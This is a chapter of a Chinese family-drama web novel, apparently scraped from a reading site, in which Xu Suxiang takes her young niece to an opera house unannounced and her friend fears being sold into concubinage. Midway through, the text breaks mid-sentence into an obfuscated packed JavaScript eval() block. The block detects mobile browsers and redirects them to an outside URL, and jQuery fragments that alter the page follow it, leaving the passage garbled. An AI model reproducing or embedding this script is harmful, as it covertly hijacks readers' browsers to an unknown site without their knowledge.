阳春三月芳菲尽，最美人间四月天。


    自从吴姨娘进了小佛堂被严加看管着，薛氏确认徐素湘在侯府没有了危机，便正式搬了出去，侯府又只剩了徐素湘一人。


    四月初的天气温暖宜人，外面花团锦簇好不热闹，徐素湘在侯府越来越坐不住，开始频繁地出门，大部分时候是约着花小蕊一起往徐府串门，花小蕊每日要在约定时间跟着薛氏读书上课，徐素湘则一头扎进苏婉慈的院子里，看她给未出生的孩子绣肚兜。


    看不了两刻钟，她就开始撺掇着小思英去院子里跟丫鬟们玩蒙眼捉蝴蝶，丫鬟们负责躲，小思英蒙着眼负责抓人，徐素湘负责在一旁逗得她团团转。


    笑声和女儿的哇哇声传进苏婉慈屋里，她停下针线笑着摇了摇头，跟身边的奶娘道：“之前还以为思英来了京城会不习惯，没想到，这么几日就和她姑姑打成一片，都不闹着回扬州了。”


    奶娘在一旁帮她缠线，笑道：“姑奶奶是个好相处的人，也没什么架子，奶奶尽可以放心了。”


    苏婉慈点了点头，看着外面道：“妹妹和我差不多年纪，却还是如此的天真烂漫，倒让我有些羡慕了。”


    “那是姑奶奶还没生孩子，”奶娘放下手里的线，安慰她，“俗话说，有得必有失，女人啊，生了孩子做了母亲自然就变得稳重成熟起来，哪还能保持未嫁时的天真呢？”


    “姑奶奶没有孩子，如今不也要发愁吗？”


    说到这里，苏婉慈忙用眼神止住了她。


    徐素湘在外面玩得出了汗，小思英更是后背都湿了，她忙哄着她结束游戏，两人一起到屋里换身衣裳。再出来时，姑侄两个脸上都顶了团红晕，红菱和翠竹拿着把团扇，一左一右地给她扇风。


    “妹妹怎么这般怕热，还没进五月呢，这会子就换了罗衣，又打起扇子，当心着了凉。”苏婉慈摸着她身上薄薄的衣袖，劝她道。


    徐素湘摸了摸自己还在发烫的脸颊，说道：“我素来贪凉，但身体却是很好，不常生病的，倒也习惯了。”


    此时已近晌午，眼看着就要摆饭了，外头有个小丫头进来道：“大爷刚遣人来问奶奶，说是奶奶今日吐了几次，可还吃得下饭？他今日会早些回来，要不要给奶奶带些爽口的糕点？”


    众目睽睽之下，苏婉慈的脸唰的一下就红了。


    她攥着帕子，羞赧道：“哪里就这么娇贵了，还劳大爷特意着人来问。”


    嘴上这么说着，却是把徐砚临的问题都一一答了，还交代让他回来时带几样酸果子。


    小丫头记下之后，犹豫着朝徐素湘道：“大爷还有句话要说给姑奶奶，说是……让姑奶奶吃过午饭自己玩去，别扰了奶奶午睡。”


    “打嘴！什么话你都敢传。”苏婉慈皱着眉斥她。


    眼看着小丫头就要跪下，徐素湘忙笑着道：“要打也是打大哥哥的嘴！这真是为了嫂子，连妹妹都不要了。”


    苏婉慈见她没恼，这才让丫头退下去，转头对徐素湘道：“你别听他浑说，他这嘴向来没把门的。”


    “大哥哥什么样我还不知道嘛，嫂子放心，我大人大量，不会和他计较的。”徐素湘说着，揶揄起自家嫂子来，“说起来，大哥哥待嫂子，真真好的没话说，嫂子往他跟前一站，都不用说话，他眼里就没旁人了！”


    苏婉慈羞红了脸要伸手打她，被徐素湘躲开了，两人闹了一阵，就听薛氏派人来请，说是那边已传了饭。


    花小蕊每日都要来徐家上课，与苏婉慈也算是熟络了，因此在餐桌上并不拘谨。饭后几人坐在一起说话，薛氏关心了一下苏婉慈这两日的情况，叮嘱她要好生休息，花小蕊坐在一旁，显得有些神思不属，徐素湘察觉了，便悄悄碰了碰她的手。


    “你怎么了？”她低声问了一句。


    花小蕊看了薛氏一眼，朝她摆了摆手，徐素湘趁着薛氏不注意，拉着她起身出去，到了院子里才又问她：“你遇到什么事了？”


    花小蕊垂着头，有些愁闷：“我娘最近不让我出门了，说给我找了户人家，要我嫁过去享福。”


    “又是当妾？”


    见她点头，徐素湘顿时气道：“做个妾也算享福么？这一进去就是任人拿捏，一个不慎被发卖打杀都是有可能的，花大婶这是魔怔了！”


    “可不是嘛！”花小蕊无奈道，“她见我十二姨表面风光，就想让我也学着她那样，还说我要是不听话，她就回房陵去把我嫁给村里的老跛头……”


    那老跛头都快四十了，还跛脚，徐素湘气得双手叉腰，对她道：“今日你先好好上课，明日你到我府上来，至于怎么来，到时你就知道了。”


    “放心吧，这事有我！”徐素湘拍了拍她的肩膀。


    花小蕊听了这话，不仅不放心，还担忧起来：“素湘姐姐，我知道你向来主意多，只是……能不能不要打我娘啊？”


    “……”徐素湘无语地扶住额头，“小蕊啊，我已经不是你从前的素湘姐姐了，再说，我怎么可能会打花大婶呢，她都一把年纪了。”


    花小蕊：“嗯……”


    她脑子里现在都忘不了，七岁的时候，县里发了水灾，死了好多人，洪水退去后庄稼全毁了，好多人都吃不上饭，于是她娘决定把大姐卖掉，说是能换两袋粟米，搀上米糠，够家里人吃一个多月。


    大姐被她娘拽着拖到了街上，脚上的鞋都蹬掉了，也挣不脱她娘镣铐一样的手腕，她和三个姐姐不敢忤逆她娘，只能眼睁睁看着大姐被拖走，五姐妹的哭声此起彼伏直传到城外去。


    后来，素湘姐姐来了，她原本在帮着县令搬沙包，听闻她们家出了事立马就赶了过来。素湘姐姐当街拦住了她娘，虽然她浑身沾满了泥污还打着赤脚，但在花小蕊眼里，那一刻她就像一个英勇无畏的将军。


    她和她娘说，只要人在，总会有办法的，她娘不听，硬拽了大姐过去，素湘姐姐就像一头小豹子，一把扑上去把她娘按在地上打，直到她娘松口说不卖了。


    素湘姐姐要打服一个人，谁也拦不住的……


    花小蕊默默叹了口气，决定回去后再好好劝劝她娘。


    屋里薛氏和苏婉慈说完了话，喊了花小蕊过去继续上课，徐素湘把嫂子送回院子里，十分自觉地提出告辞，苏婉慈婉言留了她一下，徐素湘道：“大哥哥的话我可不敢不从，嫂子你快去歇着吧，不必管我了。”


    苏婉慈这才进了屋，徐素湘慢慢悠悠往门口走，红菱问她道：“夫人，我们回侯府吗？”


    徐素湘顿住，看了眼天色，午后才刚刚开始，回去她能做什么？一个人怪没趣的。


    以往裴放在的时候，她碍于侯夫人的身份不便经常出门，裴放不陪她，府里也没个人说话，徐素湘一日的时间倒有大半日是在屋里睡觉，并不是她困，单纯是因为无聊。


    现在都出了府了，也没人能拘着她，她傻了才回去睡觉！


    “咱们出去逛逛。”


    她抬脚刚要走，感觉腿上挂了个东西。


    低头一看，扎着两个冲天辫的小家伙正手脚并用，仰起一张圆嘟嘟的脸叫她：“卟卟！”


    徐素湘一乐，弯腰把她抱起来，挠了挠她的下巴：“你不是和奶娘歇晌去了吗？”


    “玩——”


    就这一个字，吐得字正腔圆。


    徐素湘一拍她的屁股，抱着她往大门口去：“行行行，姑姑陪你玩儿！”


    红菱和翠竹对视一眼：这、这没问题吧？


    不容两人思考，徐素湘已经带着孩子走远，她俩忙把脑子扔了，追了上去。


    马车走得慢，车厢里还算平稳，徐素湘在侧边掀开一角车帘，把小思英圆嘟嘟的脸怼了上去，问她：“告诉姑姑，想去哪儿玩？今天你指哪咱们去哪。”


    这个时间街上人不多，好些个铺子里只能看见店伴在柜台后打盹，思英显然对这些没兴趣，小手扒着车窗始终没做下决定。


    走了好一会儿，路边一楼台上传来咚咚锵锵的声响，楼下还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588305|170225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有甩着水袖抹着大白脸的店伴在招揽生意。


    思英一激动，冲天辫晃了晃，挺着肚子指着那人道：“去玩！”


    徐素湘忙叫停车，她抱着思英下来，往那楼台而去。


    店伴热情地把人引了进去，问她：“夫人是坐楼下大堂还是二楼包厢？”


    徐素湘看了看怀里的小孩，道：“包厢。”


    一行人上了楼，才坐下就有使唤丫头送了茶水点心上来，徐素湘看了一眼茶汤，道：“换紫苏饮来。”


    又要了几样易消化不甜牙的点心，姑侄两个一边吃一边看台子上咿咿呀呀地唱戏，底下看官时不时爆发出叫好声，思英也跟着喊，就是慢了一拍，众人听见这奶声奶气的一嗓子，都笑了。


    一场戏唱完，看官老爷们纷纷解囊，往台子上扔铜板和银锞子，有个别大方的纨绔，直接扔一把金瓜子。


    思英觉得有趣，也有样学样，要解了自己脖子上的长命锁往下扔。


    徐素湘连忙按住她：“祖宗，这个可扔不得，你爹要揍你的！”


    她摸了摸身上，发现自己的香囊里没钱，只好向红菱和翠竹伸手，红菱也没装着钱，倒是翠竹想得妥当，预备了一些散碎银子，徐素湘便全部给了思英，让她扔着玩儿。


    思英看也没看，一整个钱袋子给扔了下去，砸在台上发出“咚”的一声，她还拍着手叫好。


    底下人看见钱袋，觉得稀奇，抬头一看，见是刚才叫好的小孩儿，皆是会心一笑。


    一整个下午，姑侄俩在包厢里看了足足三场戏，徐素湘和两个丫鬟身上能摘的首饰都摘了，全给思英扔着玩，出来时主仆三人像是被人打劫了一番，除了身上衣裳，根本看不出一点尊贵来。


    唯独思英脖子上的长命锁还好好的挂着。


    她们不知道，这一个下午，徐家险些翻了天了，奶娘打了个盹醒来，发现思英不见了，瞬间就嗷了一嗓子，这一下子，不仅苏婉慈，就连薛氏也给惊动了。


    苏婉慈含着眼泪急得团团转，倒是薛氏冷静，先派人去了大理寺通知徐砚临，然后叫了院子里的人来细细盘问。


    徐砚临很快就回来了，见母亲在盘问下人，他上来就问薛氏：“三妹妹去哪儿了？”


    薛氏一愣，她怎么把她给忘了？


    苏婉慈不知道谁是他三妹妹，哭着问他：“我们找思英，你找什么三妹妹？”


    徐砚临忙解释道：“我说的是，咱们妹妹，吃过午饭，她去哪儿了？”


    “妹妹说要家去，夫君怎么……”苏婉慈都快急死了。


    徐砚临便道：“阿慈别急，我知道思英在哪儿，保管错不了。”


    薛氏犹豫起来：“真是她？”


    “母亲，你忘了？”徐砚临头疼道，“在房陵时，她一声不吭带走了县里二十八个孩子！”


    这确实是徐素湘干出来的事儿，那时候县里十五户人家的孩子全部失踪，大人们天都塌了，宋县令险些要辞官。


    薛氏想到这事，无力地闭了闭眼。


    徐砚临安抚了苏婉慈一个下午，果不其然，傍晚时徐素湘带着思英回来了。


    才刚到大门口，徐砚临就得了信，他黑着脸从徐素湘怀里接过思英，上下扫了她主仆三人一眼，莫名其妙冷哼了一声。


    “关门！”


    “砰”的一声，徐素湘被关在了徐家大门外。


    “……”徐素湘美好的心情瞬间被破坏，她回头看两个丫鬟，“他脑子有病？”


    翠竹不敢说话，红菱在后面期期艾艾道：“夫人，咱们带思姐儿出去玩……好像没、没告诉人。”


    想到苏婉慈和薛氏焦急的样子，徐素湘顿时心虚得直冒汗，她看了眼徐家大门，决定开溜。


    刚上了马车，大门“吱呀”一下打开，徐砚临身边的小厮在马车外说道：“姑奶奶，大爷说普渡寺的事有眉目了，请您后日往寺里去一趟。”


    徐素湘一喜，忙道：“知道了，替我谢谢大哥哥！”